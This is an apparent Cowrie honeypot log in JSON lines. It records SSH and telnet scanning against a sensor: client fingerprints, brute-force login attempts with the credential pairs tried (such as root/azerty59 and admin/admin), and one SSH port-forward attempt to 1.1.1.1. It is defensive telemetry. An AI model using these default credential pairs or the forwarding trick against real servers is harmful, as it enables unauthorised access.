{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":44074,"dst_ip":"10.17.0.5","dst_port":22,"session":"5457152b40ba","protocol":"ssh","message":"New connection: 101.32.145.199:44074 (10.17.0.5:22) [session: 5457152b40ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:38.013910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:38.022180Z","src_ip":"101.32.145.199","session":"5457152b40ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:38.263176Z","src_ip":"101.32.145.199","session":"5457152b40ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty59","message":"login attempt [root/azerty59] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:39.238145Z","src_ip":"101.32.145.199","session":"5457152b40ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:40.488978Z","src_ip":"101.32.145.199","session":"5457152b40ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.63276791572571,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:44.213772Z","src_ip":"170.64.224.25","session":"818f5242feea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48426,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c01764d13f","protocol":"ssh","message":"New connection: 91.92.40.4:48426 (10.17.0.5:22) [session: 79c01764d13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:47.591709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:47.625026Z","src_ip":"91.92.40.4","session":"79c01764d13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:47.709961Z","src_ip":"91.92.40.4","session":"79c01764d13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:48.323646Z","src_ip":"91.92.40.4","session":"79c01764d13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:49.461802Z","src_ip":"91.92.40.4","session":"79c01764d13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":21400,"dst_ip":"10.17.0.5","dst_port":22,"session":"44aba94692f9","protocol":"ssh","message":"New connection: 176.53.159.196:21400 (10.17.0.5:22) [session: 44aba94692f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:51.733629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:51.738447Z","src_ip":"176.53.159.196","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:51.835633Z","src_ip":"176.53.159.196","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:52.125734Z","src_ip":"176.53.159.196","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:52.224117Z","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:52.321186Z","src_ip":"176.53.159.196","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:52.419280Z","src_ip":"176.53.159.196","session":"44aba94692f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":57676,"dst_ip":"159.203.135.109","dst_port":22,"session":"385b6908b692","protocol":"ssh","message":"New connection: 192.169.202.129:57676 (159.203.135.109:22) [session: 385b6908b692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:53.398752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:53.403114Z","src_ip":"192.169.202.129","session":"385b6908b692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:53.468534Z","src_ip":"192.169.202.129","session":"385b6908b692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:53.666535Z","src_ip":"192.169.202.129","session":"385b6908b692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:54.733801Z","src_ip":"192.169.202.129","session":"385b6908b692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.631400108337402,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:56.575946Z","src_ip":"170.64.224.25","session":"f4601ba360e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"f27a8c88f059","protocol":"ssh","message":"New connection: 157.230.18.133:34104 (159.203.135.109:22) [session: f27a8c88f059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:02.951832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:02.957277Z","src_ip":"157.230.18.133","session":"f27a8c88f059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:03.042686Z","src_ip":"157.230.18.133","session":"f27a8c88f059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"homologa","password":"homologa123","message":"login attempt [homologa/homologa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:03.434851Z","src_ip":"157.230.18.133","session":"f27a8c88f059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:04.522676Z","src_ip":"157.230.18.133","session":"f27a8c88f059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":55456,"dst_ip":"10.17.0.5","dst_port":22,"session":"9844a0d8b3a8","protocol":"ssh","message":"New connection: 222.108.100.117:55456 (10.17.0.5:22) [session: 9844a0d8b3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:10.436454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:10.442348Z","src_ip":"222.108.100.117","session":"9844a0d8b3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:10.651926Z","src_ip":"222.108.100.117","session":"9844a0d8b3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc987654321","message":"login attempt [root/Abc987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:11.497277Z","src_ip":"222.108.100.117","session":"9844a0d8b3a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:12.703798Z","src_ip":"222.108.100.117","session":"9844a0d8b3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":56062,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb1f9ca622b","protocol":"ssh","message":"New connection: 223.17.1.118:56062 (159.203.135.109:22) [session: 3cb1f9ca622b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:21.156384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:21.160517Z","src_ip":"223.17.1.118","session":"3cb1f9ca622b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:21.377026Z","src_ip":"223.17.1.118","session":"3cb1f9ca622b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"os10+ZTE","message":"login attempt [root/os10+ZTE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:22.280048Z","src_ip":"223.17.1.118","session":"3cb1f9ca622b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":58517,"dst_ip":"10.17.0.5","dst_port":22,"session":"14140c7698f0","protocol":"ssh","message":"New connection: 223.197.186.7:58517 (10.17.0.5:22) [session: 14140c7698f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:23.360087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:23.364243Z","src_ip":"223.197.186.7","session":"14140c7698f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:23.499864Z","src_ip":"223.17.1.118","session":"3cb1f9ca622b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:23.655174Z","src_ip":"223.197.186.7","session":"14140c7698f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456..a","message":"login attempt [root/123456..a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:24.798918Z","src_ip":"223.197.186.7","session":"14140c7698f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:26.022315Z","src_ip":"223.197.186.7","session":"14140c7698f0","protocol":"ssh"}
